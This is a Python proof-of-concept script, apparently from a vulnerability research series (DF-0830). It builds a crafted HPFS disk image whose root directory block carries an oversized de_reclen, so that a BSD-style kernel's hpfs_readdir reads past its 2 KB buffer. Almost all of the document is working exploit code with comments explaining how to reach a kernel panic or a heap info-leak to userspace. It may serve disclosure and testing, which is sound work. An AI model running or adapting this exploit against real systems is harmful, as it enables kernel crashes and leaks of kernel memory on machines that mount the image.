DF-0830 / mk_hpfs.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | #!/usr/bin/env python3 # mk_hpfs.py β Craft a minimal-but-valid HPFS image whose root directory # block has a dep (hpfsdirent) chain that walks past the 2 KB bread buffer. # # Bug: sys/vfs/hpfs/hpfs_vnops.c hpfs_readdir() does # bread(devvp, dbtodoff(lsn), D_BSIZE=2048, &bp) [:825] # dep = D_DIRENT(dp) = bp->b_data + sizeof(dirblk_t) (=20) [:839] # while(!(dep->de_flag & DE_END)) { [:882] # ... # dep = (hpfsdirent_t *)((caddr_t)dep + dep->de_reclen); [:906] # } # de_reclen is a u_int16_t taken straight off disk (attacker-controlled), # and there is NO check that dep stays within [bp->b_data, bp->b_data+D_BSIZE). # So a crafted dir block with a large de_reclen makes dep jump past the # 2 KB buffer β either panic (unmapped page fault) or heap info-leak (OOB # kernel bytes interpreted as de_name and emitted to userspace via # hpfs_de_uiomove β vop_write_dirent β uiomove/copyout). # # Same defect in hpfs_lookup.c:96 and hpfs_subr.c:576/588. # # Layout (sector = 512 B): # 16 SuperBlock (SU_MAGIC, rootfno=30, btotal=100, bitmap.lsn1=40) # 17 SpareBlock (SP_MAGIC, sp_cpinum=0 β skip cpinit) # 40 bmind[1] (lsn of band-0 bitmap = 50) # 50..53 band-0 bitmap (4 KB all-marked-used) # 30 root fnode (FN_MAGIC, fn_flag=1 β VDIR, al_leafβdir block) # 60..63 dir block (D_MAGIC, single dep with de_reclen=0x0900, flag=0) # # Run: python3 mk_hpfs.py evil.hpfs import struct, sys SECTOR = 512 DISK_SECTORS = 200 img = bytearray(DISK_SECTORS * SECTOR) SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE ROOTFNO = 30 BTOTAL = 100 BMIND_LSN = 40 BITMAP_LSN = 50 DIRBLK_LSN = 60 # ---- Sector 16: SuperBlock (struct sublock) ---- sub = bytearray(512) struct.pack_into('<Q', sub, 0, SU_MAGIC) sub[8] = 3; sub[9] = 0 struct.pack_into('<H', sub, 10, 0) struct.pack_into('<I', sub, 12, ROOTFNO) struct.pack_into('<I', sub, 16, BTOTAL) struct.pack_into('<I', sub, 20, 0) # badbtotal struct.pack_into('<II', sub, 24, BMIND_LSN, BMIND_LSN) # su_bitmap struct.pack_into('<II', sub, 32, 0, 0) # su_badbl struct.pack_into('<II', sub, 40, 0, 0) # chkdsk, dskopt struct.pack_into('<I', sub, 48, 0) struct.pack_into('<I', sub, 52, 0) struct.pack_into('<I', sub, 56, 0) struct.pack_into('<I', sub, 60, 0) struct.pack_into('<I', sub, 96, 0) # uidt off = 16 * SECTOR; img[off:off+512] = sub # ---- Sector 17: SpareBlock (struct spblock) ---- sp = bytearray(512) struct.pack_into('<Q', sp, 0, SP_MAGIC) struct.pack_into('<H', sp, 8, 0) sp[10] = 0; sp[11] = 0 struct.pack_into('<I', sp, 12, 0) # sp_hf struct.pack_into('<I', sp, 16, 0) # sp_hfinuse struct.pack_into('<I', sp, 20, 0) # sp_hfavail struct.pack_into('<I', sp, 24, 0) # sp_spdbavail struct.pack_into('<I', sp, 28, 0) # sp_spdbmax struct.pack_into('<I', sp, 32, 0) # sp_cpi struct.pack_into('<I', sp, 36, 0) # sp_cpinum = 0 off = 17 * SECTOR; img[off:off+512] = sp # ---- Sector 40: bmind[1] ---- struct.pack_into('<I', img, BMIND_LSN * SECTOR, BITMAP_LSN) # ---- Sectors 50..53: band-0 bitmap (4 KB, all bits set) ---- bm = bytearray(2048) for i in range(BTOTAL): bm[i // 8] |= (1 << (i % 8)) off = BITMAP_LSN * SECTOR; img[off:off+2048] = bm # ---- Sectors 60..63: MALICIOUS dir block (D_BSIZE = 2048 bytes) ---- # dirblk_t { u32 d_magic; u32 d_freeoff; u32 d_chcnt; lsn_t d_parent; # lsn_t d_self; } sizeof = 20 # Then hpfsdirent_t entries. de_reclen at offset 0, de_flag at offset 2 β # these two are at the same byte offset whether the kernel is 32- or 64-bit # (de_reclen/de_flag are both u16 at the very start of the struct). # # We plant a single dep with: # de_reclen = 0x0900 (2304) β dep advances from bp->b_data+20 to # bp->b_data+2324, which is 276 bytes PAST # the 2048-byte buffer. This lands squarely # in adjacent kernel heap. # de_flag = 0x0000 β no DE_END (loop continues), no DE_SPECIAL # (entry is emitted to userspace), no DE_DOWN # (no recursive dive). All other dep fields # are zero, so de_namelen=0 β the first # emitted entry has an empty name and is # harmless; the OOB damage happens on the # NEXT iteration when dep is already past # the buffer. DE_RECKEN = 0x0900 db = bytearray(D_BSIZE := 2048) struct.pack_into('<I', db, 0, D_MAGIC) struct.pack_into('<I', db, 4, 0x30) # d_freeoff struct.pack_into('<I', db, 8, 0) # d_chcnt struct.pack_into('<I', db, 12, ROOTFNO) # d_parent struct.pack_into('<I', db, 16, DIRBLK_LSN) # d_self # dep at offset 20 (sizeof dirblk_t): struct.pack_into('<H', db, 20, DE_RECKEN) # de_reclen = 0x0900 struct.pack_into('<H', db, 22, 0x0000) # de_flag = 0 (no DE_END) # All other bytes of the dep and the rest of the block are already 0. off = DIRBLK_LSN * SECTOR; img[off:off+2048] = db # ---- Sector 30: root fnode ---- # Same layout as DF-0829 (natural-alignment kernel C struct). # fn_ealen=0 (no DF-0829 EA bug). fn_flag=1 (VDIR). Allocation leaf # points to the crafted dir block at DIRBLK_LSN. fn = bytearray(512) struct.pack_into('<I', fn, 0, FN_MAGIC) fn[16] = 0 # namelen struct.pack_into('<I', fn, 32, ROOTFNO) # fn_parent = self struct.pack_into('<H', fn, 56, 0) # fn_ealen = 0 (clean) fn[59] = 1 # fn_flag = VDIR # alblk_t at fn_ab (offset 60): struct.pack_into('<B', fn, 60, 0) # ab_flag = 0 (leaf) struct.pack_into('<B', fn, 64, 0) # ab_freecnt struct.pack_into('<B', fn, 65, 1) # ab_busycnt = 1 struct.pack_into('<H', fn, 66, 0x14) # ab_freeoff # alleaf_t at fn_abd[0] (offset 68): struct.pack_into('<I', fn, 68, 0) # al_off struct.pack_into('<I', fn, 72, 1) # al_len struct.pack_into('<I', fn, 76, DIRBLK_LSN) # al_lsn β crafted dir off = ROOTFNO * SECTOR; img[off:off+512] = fn with open(sys.argv[1], 'wb') as f: f.write(img) print(f"wrote {sys.argv[1]}: {len(img)} bytes, rootfno={ROOTFNO}, " f"dirblk_lsn={DIRBLK_LSN}, dep0 de_reclen={DE_RECKEN:#06x} " f"(jumps {DE_RECKEN} B from off 20 β {20+DE_RECKEN} = " f"{20+DE_RECKEN-2048} B past 2KB buffer)") |